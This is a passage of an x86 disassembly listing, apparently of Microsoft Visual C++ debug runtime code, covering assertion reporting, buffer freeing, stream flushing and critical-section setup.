xor eax, eax
lea edi, [ebp+var_3007]
rep stosd
stosw
stosb
mov [ebp+var_2008], 0
mov ecx, 3FFh
xor eax, eax
lea edi, [ebp+var_2007]
rep stosd
stosw
stosb
mov [ebp+var_1000], 0
mov ecx, 3FFh
xor eax, eax
lea edi, [ebp+var_FFF]
rep stosd
stosw
stosb
lea eax, [ebp+arg_14]
mov [ebp+var_1004], eax
cmp [ebp+arg_0], 0
jl short loc_42267E
cmp [ebp+arg_0], 3
jl short loc_422686
loc_42267E: ; CODE XREF: sub_422610+66j
or eax, 0FFFFFFFFh
jmp loc_42299B
; ---------------------------------------------------------------------------
loc_422686: ; CODE XREF: sub_422610+6Cj
cmp [ebp+arg_0], 2
jnz loc_422730
push offset dword_451AC8
call ds:dword_4F5488 ; InterlockedIncrement
test eax, eax
jle loc_422730
cmp ds:dword_4F3370, 0
jnz short loc_4226EE
push offset aUser32_dll_0 ; "user32.dll"
call ds:off_4F538C
mov [ebp+var_300C], eax
cmp [ebp+var_300C], 0
jz short loc_4226E6
push offset aWsprintfa ; "wsprintfA"
mov ecx, [ebp+var_300C]
push ecx
call ds:off_4F5390
mov ds:dword_4F3370, eax
cmp ds:dword_4F3370, 0
jnz short loc_4226EE
loc_4226E6: ; CODE XREF: sub_422610+B4j
or eax, 0FFFFFFFFh
jmp loc_42299B
; ---------------------------------------------------------------------------
loc_4226EE: ; CODE XREF: sub_422610+9Aj
; sub_422610+D4j
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
push offset aSecondChanceAs ; "Second Chance Assertion Failed: File %s"...
lea ecx, [ebp+var_2008]
push ecx
call ds:dword_4F3370
add esp, 10h
lea edx, [ebp+var_2008]
push edx
call ds:dword_4F54A0 ; OutputDebugStringA
push offset dword_451AC8
call ds:dword_4F5484 ; InterlockedDecrement
call sub_422500
or eax, 0FFFFFFFFh
jmp loc_42299B
; ---------------------------------------------------------------------------
loc_422730: ; CODE XREF: sub_422610+7Aj
; sub_422610+8Dj
cmp [ebp+arg_10], 0
jz short loc_42276D
mov eax, [ebp+var_1004]
push eax
mov ecx, [ebp+arg_10]
push ecx
push 0FEDh
lea edx, [ebp+var_1000]
push edx
call sub_41F9C0
add esp, 10h
test eax, eax
jge short loc_42276D
push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"...
lea eax, [ebp+var_1000]
push eax
call sub_41F620
add esp, 8
loc_42276D: ; CODE XREF: sub_422610+124j
; sub_422610+147j
cmp [ebp+arg_0], 2
jnz short loc_4227A5
cmp [ebp+arg_10], 0
jz short loc_422785
mov [ebp+var_3028], offset aAssertionFaile ; "Assertion failed: "
jmp short loc_42278F
; ---------------------------------------------------------------------------
loc_422785: ; CODE XREF: sub_422610+167j
mov [ebp+var_3028], offset aAssertionFai_0 ; "Assertion failed!"
loc_42278F: ; CODE XREF: sub_422610+173j
mov ecx, [ebp+var_3028]
push ecx
lea edx, [ebp+var_3008]
push edx
call sub_41F620
add esp, 8
loc_4227A5: ; CODE XREF: sub_422610+161j
lea eax, [ebp+var_1000]
push eax
lea ecx, [ebp+var_3008]
push ecx
call sub_41F630
add esp, 8
cmp [ebp+arg_0], 2
jnz short loc_4227FA
mov edx, [ebp+arg_0]
mov eax, ds:dword_451ACC[edx*4]
and eax, 1
test eax, eax
jz short loc_4227E6
push offset asc_43CE30 ; "\r"
lea ecx, [ebp+var_3008]
push ecx
call sub_41F630
add esp, 8
loc_4227E6: ; CODE XREF: sub_422610+1C0j
push offset asc_43CE2C ; "\n"
lea edx, [ebp+var_3008]
push edx
call sub_41F630
add esp, 8
loc_4227FA: ; CODE XREF: sub_422610+1AFj
cmp [ebp+arg_4], 0
jz short loc_422842
lea eax, [ebp+var_3008]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
push offset aSDS ; "%s(%d) : %s"
push 1000h
lea eax, [ebp+var_2008]
push eax
call sub_41EC30
add esp, 18h
test eax, eax
jge short loc_422840
push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"...
lea ecx, [ebp+var_2008]
push ecx
call sub_41F620
add esp, 8
loc_422840: ; CODE XREF: sub_422610+21Aj
jmp short loc_422858
; ---------------------------------------------------------------------------
loc_422842: ; CODE XREF: sub_422610+1EEj
lea edx, [ebp+var_3008]
push edx
lea eax, [ebp+var_2008]
push eax
call sub_41F620
add esp, 8
loc_422858: ; CODE XREF: sub_422610:loc_422840j
cmp ds:dword_4F3A10, 0
jz short loc_42289C
lea ecx, [ebp+var_1008]
push ecx
lea edx, [ebp+var_2008]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F3A10
add esp, 0Ch
test eax, eax
jz short loc_42289C
cmp [ebp+arg_0], 2
jnz short loc_422891
push offset dword_451AC8
call ds:dword_4F5484 ; InterlockedDecrement
loc_422891: ; CODE XREF: sub_422610+274j
mov eax, [ebp+var_1008]
jmp loc_42299B
; ---------------------------------------------------------------------------
loc_42289C: ; CODE XREF: sub_422610+24Fj
; sub_422610+26Ej
mov ecx, [ebp+arg_0]
mov edx, ds:dword_451ACC[ecx*4]
and edx, 1
test edx, edx
jz short loc_4228EB
mov eax, [ebp+arg_0]
cmp ds:dword_451AD8[eax*4], 0FFFFFFFFh
jz short loc_4228EB
push 0
lea ecx, [ebp+var_3010]
push ecx
lea edx, [ebp+var_2008]
push edx
call sub_41BC70
add esp, 4
push eax
lea eax, [ebp+var_2008]
push eax
mov ecx, [ebp+arg_0]
mov edx, ds:dword_451AD8[ecx*4]
push edx
call ds:dword_4F53B4 ; WriteFile
loc_4228EB: ; CODE XREF: sub_422610+29Bj
; sub_422610+2A8j
mov eax, [ebp+arg_0]
mov ecx, ds:dword_451ACC[eax*4]
and ecx, 2
test ecx, ecx
jz short loc_422909
lea edx, [ebp+var_2008]
push edx
call ds:dword_4F54A0 ; OutputDebugStringA
loc_422909: ; CODE XREF: sub_422610+2EAj
mov eax, [ebp+arg_0]
mov ecx, ds:dword_451ACC[eax*4]
and ecx, 4
test ecx, ecx
jz short loc_422988
cmp [ebp+arg_8], 0
jz short loc_42293D
push 0Ah
lea edx, [ebp+var_3024]
push edx
mov eax, [ebp+arg_8]
push eax
call sub_430220
add esp, 0Ch
mov [ebp+var_302C], eax
jmp short loc_422947
; ---------------------------------------------------------------------------
loc_42293D: ; CODE XREF: sub_422610+30Ej
mov [ebp+var_302C], 0
loc_422947: ; CODE XREF: sub_422610+32Bj
lea ecx, [ebp+var_1000]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+var_302C]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4229A0
add esp, 14h
mov [ebp+var_1008], eax
cmp [ebp+arg_0], 2
jnz short loc_422980
push offset dword_451AC8
call ds:dword_4F5484 ; InterlockedDecrement
loc_422980: ; CODE XREF: sub_422610+363j
mov eax, [ebp+var_1008]
jmp short loc_42299B
; ---------------------------------------------------------------------------
loc_422988: ; CODE XREF: sub_422610+308j
cmp [ebp+arg_0], 2
jnz short loc_422999
push offset dword_451AC8
call ds:dword_4F5484 ; InterlockedDecrement
loc_422999: ; CODE XREF: sub_422610+37Cj
xor eax, eax
loc_42299B: ; CODE XREF: sub_422610+71j
; sub_422610+D9j ...
pop edi
mov esp, ebp
pop ebp
retn
sub_422610 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4229A0 proc near ; CODE XREF: sub_422610+351p
var_1138 = dword ptr -1138h
var_1134 = dword ptr -1134h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1128 = dword ptr -1128h
var_1124 = dword ptr -1124h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1118 = dword ptr -1118h
var_1114 = dword ptr -1114h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, 1138h
call sub_41EF80
loc_4229AD: ; CODE XREF: sub_4229A0+3Cj
cmp [ebp+arg_10], 0
jnz short loc_4229D8
push offset aSzusermessageN ; "szUserMessage != NULL"
push 0
push 1DAh
push offset aDbgrpt_c ; "dbgrpt.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_4229D8
call sub_422500
loc_4229D8: ; CODE XREF: sub_4229A0+11j
; sub_4229A0+31j
xor eax, eax
test eax, eax
jnz short loc_4229AD
push 104h
lea ecx, [ebp+var_108]
push ecx
push 0
call ds:off_4F5344
test eax, eax
jnz short loc_422A0A
push offset aProgramNameUnk ; "<program name unknown>"
lea edx, [ebp+var_108]
push edx
call sub_41F620
add esp, 8
loc_422A0A: ; CODE XREF: sub_4229A0+54j
lea eax, [ebp+var_108]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_41BC70
add esp, 4
cmp eax, 40h
jbe short loc_422A4D
mov edx, [ebp+var_4]
push edx
call sub_41BC70
add esp, 4
mov ecx, [ebp+var_4]
lea edx, [ecx+eax-40h]
mov [ebp+var_4], edx
push 3
push offset a___ ; "..."
mov eax, [ebp+var_4]
push eax
call sub_41E510
add esp, 0Ch
loc_422A4D: ; CODE XREF: sub_4229A0+82j
mov ecx, [ebp+arg_C]
mov [ebp+var_1110], ecx
cmp [ebp+var_1110], 0
jz short loc_422AA8
mov edx, [ebp+var_1110]
push edx
call sub_41BC70
add esp, 4
cmp eax, 40h
jbe short loc_422AA8
mov eax, [ebp+var_1110]
push eax
call sub_41BC70
add esp, 4
mov ecx, [ebp+var_1110]
lea edx, [ecx+eax-40h]
mov [ebp+var_1110], edx
push 3
push offset a___ ; "..."
mov eax, [ebp+var_1110]
push eax
call sub_41E510
add esp, 0Ch
loc_422AA8: ; CODE XREF: sub_4229A0+BDj
; sub_4229A0+D1j
cmp [ebp+arg_0], 2
jnz short loc_422ABA
mov [ebp+var_1114], offset aForInformation ; "\n\nFor information on how your program c"...
jmp short loc_422AC4
; ---------------------------------------------------------------------------
loc_422ABA: ; CODE XREF: sub_4229A0+10Cj
mov [ebp+var_1114], offset dword_43CF7C
loc_422AC4: ; CODE XREF: sub_4229A0+118j
mov ecx, [ebp+arg_10]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_422AD9
mov eax, [ebp+arg_10]
mov [ebp+var_1118], eax
jmp short loc_422AE3
; ---------------------------------------------------------------------------
loc_422AD9: ; CODE XREF: sub_4229A0+12Cj
mov [ebp+var_1118], offset dword_43CF7C
loc_422AE3: ; CODE XREF: sub_4229A0+137j
mov ecx, [ebp+arg_10]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_422AFF
cmp [ebp+arg_0], 2
jnz short loc_422AFF
mov [ebp+var_111C], offset aExpression ; "Expression: "
jmp short loc_422B09
; ---------------------------------------------------------------------------
loc_422AFF: ; CODE XREF: sub_4229A0+14Bj
; sub_4229A0+151j
mov [ebp+var_111C], offset dword_43CF7C
loc_422B09: ; CODE XREF: sub_4229A0+15Dj
mov eax, [ebp+arg_10]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_422B1F
mov [ebp+var_1120], offset asc_43CF68 ; "\n\n"
jmp short loc_422B29
; ---------------------------------------------------------------------------
loc_422B1F: ; CODE XREF: sub_4229A0+171j
mov [ebp+var_1120], offset dword_43CF7C
loc_422B29: ; CODE XREF: sub_4229A0+17Dj
cmp [ebp+arg_8], 0
jz short loc_422B3A
mov edx, [ebp+arg_8]
mov [ebp+var_1124], edx
jmp short loc_422B44
; ---------------------------------------------------------------------------
loc_422B3A: ; CODE XREF: sub_4229A0+18Dj
mov [ebp+var_1124], offset dword_43CF7C
loc_422B44: ; CODE XREF: sub_4229A0+198j
cmp [ebp+arg_8], 0
jz short loc_422B56
mov [ebp+var_1128], offset aLine ; "\nLine: "
jmp short loc_422B60
; ---------------------------------------------------------------------------
loc_422B56: ; CODE XREF: sub_4229A0+1A8j
mov [ebp+var_1128], offset dword_43CF7C
loc_422B60: ; CODE XREF: sub_4229A0+1B4j
cmp [ebp+arg_4], 0
jz short loc_422B71
mov eax, [ebp+arg_4]
mov [ebp+var_112C], eax
jmp short loc_422B7B
; ---------------------------------------------------------------------------
loc_422B71: ; CODE XREF: sub_4229A0+1C4j
mov [ebp+var_112C], offset dword_43CF7C
loc_422B7B: ; CODE XREF: sub_4229A0+1CFj
cmp [ebp+arg_4], 0
jz short loc_422B8D
mov [ebp+var_1130], offset aFile_1 ; "\nFile: "
jmp short loc_422B97
; ---------------------------------------------------------------------------
loc_422B8D: ; CODE XREF: sub_4229A0+1DFj
mov [ebp+var_1130], offset dword_43CF7C
loc_422B97: ; CODE XREF: sub_4229A0+1EBj
cmp [ebp+var_1110], 0
jz short loc_422BAE
mov ecx, [ebp+var_1110]
mov [ebp+var_1134], ecx
jmp short loc_422BB8
; ---------------------------------------------------------------------------
loc_422BAE: ; CODE XREF: sub_4229A0+1FEj
mov [ebp+var_1134], offset dword_43CF7C
loc_422BB8: ; CODE XREF: sub_4229A0+20Cj
cmp [ebp+var_1110], 0
jz short loc_422BCD
mov [ebp+var_1138], offset aModule ; "\nModule: "
jmp short loc_422BD7
; ---------------------------------------------------------------------------
loc_422BCD: ; CODE XREF: sub_4229A0+21Fj
mov [ebp+var_1138], offset dword_43CF7C
loc_422BD7: ; CODE XREF: sub_4229A0+22Bj
mov edx, [ebp+var_1114]
push edx
mov eax, [ebp+var_1118]
push eax
mov ecx, [ebp+var_111C]
push ecx
mov edx, [ebp+var_1120]
push edx
mov eax, [ebp+var_1124]
push eax
mov ecx, [ebp+var_1128]
push ecx
mov edx, [ebp+var_112C]
push edx
mov eax, [ebp+var_1130]
push eax
mov ecx, [ebp+var_1134]
push ecx
mov edx, [ebp+var_1138]
push edx
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
mov edx, ds:off_451AE4[ecx*4]
push edx
push offset aDebugSProgramS ; "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%"...
push 1000h
lea eax, [ebp+var_110C]
push eax
call sub_41EC30
add esp, 3Ch
test eax, eax
jge short loc_422C5D
push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"...
lea ecx, [ebp+var_110C]
push ecx
call sub_41F620
add esp, 8
loc_422C5D: ; CODE XREF: sub_4229A0+2A7j
push 12012h
push offset aMicrosoftVisua ; "Microsoft Visual C++ Debug Library"
lea edx, [ebp+var_110C]
push edx
call sub_430AA0
add esp, 0Ch
mov [ebp+var_10C], eax
cmp [ebp+var_10C], 3
jnz short loc_422C96
push 16h
call sub_4307E0
add esp, 4
push 3
call sub_41E8C0
loc_422C96: ; CODE XREF: sub_4229A0+2E3j
cmp [ebp+var_10C], 4
jnz short loc_422CA6
mov eax, 1
jmp short loc_422CA8
; ---------------------------------------------------------------------------
loc_422CA6: ; CODE XREF: sub_4229A0+2FDj
xor eax, eax
loc_422CA8: ; CODE XREF: sub_4229A0+304j
mov esp, ebp
pop ebp
retn
sub_4229A0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422CB0 proc near ; CODE XREF: sub_41BD80+71p
; sub_4314E0+400p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, ds:dword_4F37C0
jnb short loc_422CE1
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_422CFC
loc_422CE1: ; CODE XREF: sub_422CB0+Dj
call sub_429A90
mov dword ptr [eax], 9
call sub_429AA0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_422D26
; ---------------------------------------------------------------------------
loc_422CFC: ; CODE XREF: sub_422CB0+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_431070
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_422D30
add esp, 4
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_431100
add esp, 4
mov eax, [ebp+var_4]
loc_422D26: ; CODE XREF: sub_422CB0+4Aj
mov esp, ebp
pop ebp
retn
sub_422CB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422D30 proc near ; CODE XREF: sub_422CB0+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov eax, [ebp+arg_0]
push eax
call sub_430EF0
add esp, 4
cmp eax, 0FFFFFFFFh
jz short loc_422D83
cmp [ebp+arg_0], 1
jz short loc_422D52
cmp [ebp+arg_0], 2
jnz short loc_422D6C
loc_422D52: ; CODE XREF: sub_422D30+1Aj
push 1
call sub_430EF0
add esp, 4
mov esi, eax
push 2
call sub_430EF0
add esp, 4
cmp esi, eax
jz short loc_422D83
loc_422D6C: ; CODE XREF: sub_422D30+20j
mov ecx, [ebp+arg_0]
push ecx
call sub_430EF0
add esp, 4
push eax
call ds:off_4F533C
test eax, eax
jz short loc_422D8C
loc_422D83: ; CODE XREF: sub_422D30+14j
; sub_422D30+3Aj
mov [ebp+var_4], 0
jmp short loc_422D95
; ---------------------------------------------------------------------------
loc_422D8C: ; CODE XREF: sub_422D30+51j
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov [ebp+var_4], eax
loc_422D95: ; CODE XREF: sub_422D30+5Aj
mov edx, [ebp+arg_0]
push edx
call sub_430E10
add esp, 4
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
mov byte ptr [edx+ecx+4], 0
cmp [ebp+var_4], 0
jz short loc_422DD3
mov eax, [ebp+var_4]
push eax
call sub_4299F0
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_422DD5
; ---------------------------------------------------------------------------
loc_422DD3: ; CODE XREF: sub_422D30+90j
xor eax, eax
loc_422DD5: ; CODE XREF: sub_422D30+A1j
pop esi
mov esp, ebp
pop ebp
retn
sub_422D30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422DE0 proc near ; CODE XREF: sub_41BD80+62p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
loc_422DE6: ; CODE XREF: sub_422DE0+2Ej
cmp [ebp+arg_0], 0
jnz short loc_422E0A
push offset dword_43C504
push 0
push 30h
push offset a_freebuf_c ; "_freebuf.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_422E0A
int 3 ; Trap to Debugger
loc_422E0A: ; CODE XREF: sub_422DE0+Aj
; sub_422DE0+27j
xor eax, eax
test eax, eax
jnz short loc_422DE6
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 83h
test edx, edx
jz short loc_422E6D
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
and ecx, 8
test ecx, ecx
jz short loc_422E6D
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+8]
push eax
call sub_41CA10
add esp, 8
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 0FFFFFBF7h
mov eax, [ebp+arg_0]
mov [eax+0Ch], edx
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+8], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
loc_422E6D: ; CODE XREF: sub_422DE0+3Ej
; sub_422DE0+4Bj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_422DE0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jnz short loc_422E96
push 0
call sub_422FF0
add esp, 4
jmp short loc_422EC0
; ---------------------------------------------------------------------------
loc_422E96: ; CODE XREF: _0:00422E88j
mov eax, [ebp+8]
push eax
call sub_422420
add esp, 4
mov ecx, [ebp+8]
push ecx
call sub_422ED0
add esp, 4
mov [ebp-4], eax
mov edx, [ebp+8]
push edx
call sub_422490
add esp, 4
mov eax, [ebp-4]
loc_422EC0: ; CODE XREF: _0:00422E94j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422ED0 proc near ; CODE XREF: _0:00422EA6p
; sub_422FF0+B1p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push eax
call sub_422F20
add esp, 4
test eax, eax
jz short loc_422EE8
or eax, 0FFFFFFFFh
jmp short loc_422F0F
; ---------------------------------------------------------------------------
loc_422EE8: ; CODE XREF: sub_422ED0+11j
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 4000h
test edx, edx
jz short loc_422F0D
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
push ecx
call sub_431130
add esp, 4
neg eax
sbb eax, eax
jmp short loc_422F0F
; ---------------------------------------------------------------------------
loc_422F0D: ; CODE XREF: sub_422ED0+26j
xor eax, eax
loc_422F0F: ; CODE XREF: sub_422ED0+16j
; sub_422ED0+3Bj
pop ebp
retn
sub_422ED0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422F20 proc near ; CODE XREF: sub_41BD80+53p
; sub_421050+A2p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 3
cmp edx, 2
jnz short loc_422FBB
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 108h
test ecx, ecx
jz short loc_422FBB
mov edx, [ebp+var_8]
mov eax, [ebp+var_8]
mov ecx, [edx]
sub ecx, [eax+8]
mov [ebp+var_C], ecx
cmp [ebp+var_C], 0
jle short loc_422FBB
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax+8]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+10h]
push eax
call sub_42E940
add esp, 0Ch
cmp eax, [ebp+var_C]
jnz short loc_422FA5
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jz short loc_422FA3
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 0FFFFFFFDh
mov edx, [ebp+var_8]
mov [edx+0Ch], ecx
loc_422FA3: ; CODE XREF: sub_422F20+72j
jmp short loc_422FBB
; ---------------------------------------------------------------------------
loc_422FA5: ; CODE XREF: sub_422F20+62j
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
or ecx, 20h
mov edx, [ebp+var_8]
mov [edx+0Ch], ecx
mov [ebp+var_4], 0FFFFFFFFh
loc_422FBB: ; CODE XREF: sub_422F20+1Fj
; sub_422F20+2Fj ...
mov eax, [ebp+var_8]
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
mov [eax], edx
mov eax, [ebp+var_8]
mov dword ptr [eax+4], 0
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_422F20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422FE0 proc near ; CODE XREF: sub_422400+3p
push ebp
mov ebp, esp
push 1
call sub_422FF0
add esp, 4
pop ebp
retn
sub_422FE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422FF0 proc near ; CODE XREF: _0:00422E8Cp
; sub_422FE0+5p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov [ebp+var_8], 0
push 2
call sub_423280
add esp, 4
mov [ebp+var_C], 0
jmp short loc_423020
; ---------------------------------------------------------------------------
loc_423017: ; CODE XREF: sub_422FF0:loc_42310Ej
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_423020: ; CODE XREF: sub_422FF0+25j
mov ecx, [ebp+var_C]
cmp ecx, ds:dword_4F4A20
jge loc_423113
mov edx, [ebp+var_C]
mov eax, ds:dword_4F3A14
cmp dword ptr [eax+edx*4], 0
jz loc_42310E
mov ecx, [ebp+var_C]
mov edx, ds:dword_4F3A14
mov eax, [edx+ecx*4]
mov ecx, [eax+0Ch]
and ecx, 83h
test ecx, ecx
jz loc_42310E
mov edx, [ebp+var_C]
mov eax, ds:dword_4F3A14
mov ecx, [eax+edx*4]
push ecx
mov edx, [ebp+var_C]
push edx
call sub_422460
add esp, 8
mov eax, [ebp+var_C]
mov ecx, ds:dword_4F3A14
mov edx, [ecx+eax*4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_4230F5
cmp [ebp+arg_0], 1
jnz short loc_4230B9
mov ecx, [ebp+var_C]
mov edx, ds:dword_4F3A14
mov eax, [edx+ecx*4]
push eax
call sub_422ED0
add esp, 4
cmp eax, 0FFFFFFFFh
jz short loc_4230B7
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_4230B7: ; CODE XREF: sub_422FF0+BCj
jmp short loc_4230F5
; ---------------------------------------------------------------------------
loc_4230B9: ; CODE XREF: sub_422FF0+A2j
cmp [ebp+arg_0], 0
jnz short loc_4230F5
mov edx, [ebp+var_C]
mov eax, ds:dword_4F3A14
mov ecx, [eax+edx*4]
mov edx, [ecx+0Ch]
and edx, 2
test edx, edx
jz short loc_4230F5
mov eax, [ebp+var_C]
mov ecx, ds:dword_4F3A14
mov edx, [ecx+eax*4]
push edx
call sub_422ED0
add esp, 4
cmp eax, 0FFFFFFFFh
jnz short loc_4230F5
mov [ebp+var_8], 0FFFFFFFFh
loc_4230F5: ; CODE XREF: sub_422FF0+9Cj
; sub_422FF0:loc_4230B7j ...
mov eax, [ebp+var_C]
mov ecx, ds:dword_4F3A14
mov edx, [ecx+eax*4]
push edx
mov eax, [ebp+var_C]
push eax
call sub_4224D0
add esp, 8
loc_42310E: ; CODE XREF: sub_422FF0+4Bj
; sub_422FF0+68j
jmp loc_423017
; ---------------------------------------------------------------------------
loc_423113: ; CODE XREF: sub_422FF0+39j
push 2
call sub_423320
add esp, 4
cmp [ebp+arg_0], 1
jnz short loc_423128
mov eax, [ebp+var_4]
jmp short loc_42312B
; ---------------------------------------------------------------------------
loc_423128: ; CODE XREF: sub_422FF0+131j
mov eax, [ebp+var_8]
loc_42312B: ; CODE XREF: sub_422FF0+136j
mov esp, ebp
pop ebp
retn
sub_422FF0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push 9
call sub_423280
add esp, 4
mov eax, ds:dword_4F3378
mov [ebp-4], eax
mov ecx, [ebp+8]
mov ds:dword_4F3378, ecx
push 9
call sub_423320
add esp, 4
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, ds:dword_4F3378
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423170 proc near ; CODE XREF: sub_41BEC0+7Dp
; sub_423460+41p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_4F3378
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_423190
mov ecx, [ebp+arg_0]
push ecx
call [ebp+var_4]
add esp, 4
test eax, eax
jnz short loc_423194
loc_423190: ; CODE XREF: sub_423170+10j
xor eax, eax
jmp short loc_423199
; ---------------------------------------------------------------------------
loc_423194: ; CODE XREF: sub_423170+1Ej
mov eax, 1
loc_423199: ; CODE XREF: sub_423170+22j
mov esp, ebp
pop ebp
retn
sub_423170 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4231A0 proc near ; CODE XREF: sub_428E00+4p
push ebp
mov ebp, esp
mov eax, ds:off_451B34
push eax
call ds:dword_4F54A4 ; InitializeCriticalSection
mov ecx, ds:off_451B24
push ecx
call ds:dword_4F54A4 ; InitializeCriticalSection
mov edx, ds:off_451B14
push edx
call ds:dword_4F54A4 ; InitializeCriticalSection
mov eax, ds:off_451AF4
push eax
call ds:dword_4F54A4 ; InitializeCriticalSection
pop ebp
retn
sub_4231A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4231E0 proc near ; CODE XREF: _0:00428E93p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_4231F6
; ---------------------------------------------------------------------------
loc_4231ED: ; CODE XREF: sub_4231E0:loc_423247j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_4231F6: ; CODE XREF: sub_4231E0+Bj
cmp [ebp+var_4], 30h
jge short loc_423249
mov ecx, [ebp+var_4]
cmp ds:dword_451AF0[ecx*4], 0
jz short loc_423247
cmp [ebp+var_4], 11h
jz short loc_423247
cmp [ebp+var_4], 0Dh
jz short loc_423247
cmp [ebp+var_4], 9
